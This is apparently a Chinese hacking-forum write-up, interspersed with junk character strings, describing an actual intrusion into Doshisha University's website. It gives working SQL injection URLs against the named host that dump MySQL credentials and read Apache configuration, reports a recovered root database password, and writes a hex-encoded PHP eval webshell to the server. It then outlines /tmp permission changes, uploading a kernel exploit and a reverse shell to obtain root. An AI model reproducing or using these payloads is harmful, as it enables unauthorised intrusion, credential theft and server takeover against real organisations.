入侵日本同志社大学技术分析. [3 h, ?& }# m6 K1 G
- Z! ?8 Y C5 q% y( _1 P
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
8 p# B: b, b# q然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:( @3 E) {' R$ z8 I
4 T8 V5 M- j! S( c9 J
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user/ S X' T1 ]- @8 F. \7 b+ {( d
9 V( X7 I7 `# Y w; j. k R
8 \3 X- ]% @6 L3 l4 \8 C
5 Y w! Z- y W+ b s
//@@datadir为数据库文件路径
4 h) K% T* f9 z% k; x' s- c ! }8 r+ ?! L8 ]9 E; p
2 H* D* e# [( ^( l3 O. j7 D" j+ Q//load_file读取网站容器apache的配置文件 - i! t7 \# D3 p, ~" [9 }( x
6 {# c' ]9 Z6 @" ^1 q( z) L
; h) t M0 s) V3 q
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 2 e9 @+ f/ ~' c* s g
复制代码
4 _/ c3 U8 t7 X6 J' x# e# c0 `3 h) G" ?5 p
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
+ o E7 `+ d+ k0 z9 o: z# T' S- M" X; G; x; o( E
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
$ c/ E! @ p4 O0 o9 N6 o(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)# X3 k4 q8 g6 ?. E+ M0 P' S( y8 j
. K3 M: f" M z$ e/ F% z! Q# @前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。9 D; ]. N7 C9 C) Z1 n. L
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html9 K3 l: @2 V4 J8 m
: B9 `/ g4 s' v, r- `
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/; q$ i) O& R+ s+ F8 m
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。2 s) @$ ^! @# e# c& V2 P7 S# @
直接写一句话:
" A# p! A2 Y5 U( R' J
1 Z M/ ^4 u5 K* @0 B8 t* T' Ohttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#! F3 k: X8 r" \7 H$ u3 \
1 y0 A4 k: a' }3 ]( R# `: I
6 T1 U L+ q. F. O
) F5 D: ~4 u( `
//最后的#是为了闭合前面的语句
) H" A7 K# j% }1 X" S
+ C# `8 \( h& I- x; n. t) K! a6 \9 N, r ^1 Y
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
# q, G* w# j" J
% f# ]! G5 ^6 S" n/ @
* K+ y3 d# W2 e6 \2 @& |为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
0 \1 ~3 P8 L+ P# _( Q% H( w
4 h: m8 W- {8 I
" p3 Z' j7 }5 X, W//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 0 s" @( I. I( R. ]+ E1 Y. g
. f r x* Q) W2 |- r6 J9 x7 g
) S; L4 h6 O# A7 G2 b# [
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
" t, V$ ?6 v' K//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ; ^' M6 {7 y1 Z( f6 t% H, K7 J
复制代码
8 D: e2 U, v* N$ \. D6 n4 R' S2 S; r
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
' ^# ]! m Y% o" I* K7 e; t通过上述注入语句,我们就得到了一句话木马:. W4 X1 S( {- u: m
+ k, x& i3 O4 R & p, [) [! A/ Y, l8 d+ ~9 I. E
+ _$ g! H c: E, g
r8 k; s' W. A2 Z' u5 @
c1 D" G: B7 R) J
http://www.doshisha.ac.jp/english/engnews_img/aa.php
1 C/ l2 z- O) @/ y1 N复制代码. L, s+ u* l- ~9 H
3 |% g: ~6 X& c6 d6 Z$ f7 H
用菜刀连接,密码是cmd,如图所示:& _; n2 ~$ s8 c: w
然后在命令提示行里看了一下,现在的权限是:( l$ O% q5 ?# M5 e" U: Q H
( ~6 C5 t0 @& a9 X之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
! A0 W4 e8 C% @! U, Q好在赋权给这个文件夹不需要root,直接执行赋权语句:
, m) E, O2 K9 |" t4 |9 Z! d
3 s/ d7 b4 B9 _2 X
$ E3 q5 }6 f/ L7 R3 r( h! l
o/ m8 e, `* ]$ K 0 W& h: ~. I+ n/ A9 s$ I/ Z+ a
/ M% E+ ~) F1 V. X; B: }( }$ Rchmod +x /tmp/ - t; _9 ?* m. j2 V
复制代码
) \" c. _0 D8 W' ^4 J- P- D1 z! ?6 x d. v+ I5 |$ @2 u
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行$ r9 @% E P4 c- f3 v! K/ I7 o7 b
然后就查了一下内核版本:9 g+ S( C. ~1 m; U4 c
# k4 v# c$ r6 M+ J( ]
1 v0 [) w* P+ |7 S' R! s
, i3 ~' g$ b) Z: g
/ o; A: ~9 ?5 e# Z- M: a8 s9 P* e; x
; K9 ^; G5 u% l5 K$ E, J: E& {1 s
uname-a
9 W2 v2 ~# L \
B- x( j R8 B: V: B3 \ N3 s& q" ^
//其实lsb_release -a - ?6 F u' g% x$ C' `( }- x
复制代码
/ p1 [ }( s/ d; y& S0 {
8 }. G0 C" s J- S3 \+ |如图所示:- m+ T0 L( A3 V3 H8 S4 h2 K7 A" I* l
. {; H6 t0 X6 a* X' q7 ~% X
内核版本:linux mainz1 2.6.28-194.e158 M, Q% \ i+ G5 n* [
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)5 r4 a4 W$ ~$ M9 Z
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
. s0 _( m* a1 F6 f G! H; `' P
6 i2 d0 w0 n. d6 [5 n然后给予执行权限& N O5 Q: E R9 C
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
- N- ]8 m( J( U( n5 X. v- {7 ~) d
) Y6 \6 B) X I U/ e+ V! X% W- r6 I
; ?+ z3 ~# W$ |# t
* w0 P8 r' n I p0 g) R
/ }0 F9 k- Y: a8 n" W
F2 c$ ]( `) echmod +x /tmp/2.6.18-194
# R" \, e! M: X. U- r1 u, ^复制代码 然后直接执行!~
: ?( U3 [/ \( w \! l# e& N- `3 ]* t
总结:
6 O% C5 v/ {# A: V1 w! W# j) T0 E这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了+ C+ U# N! o0 ?6 [, {& y: M( z
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
! R$ S8 f& C% p# r1 k( q- O9 r$ ?& m) A P
|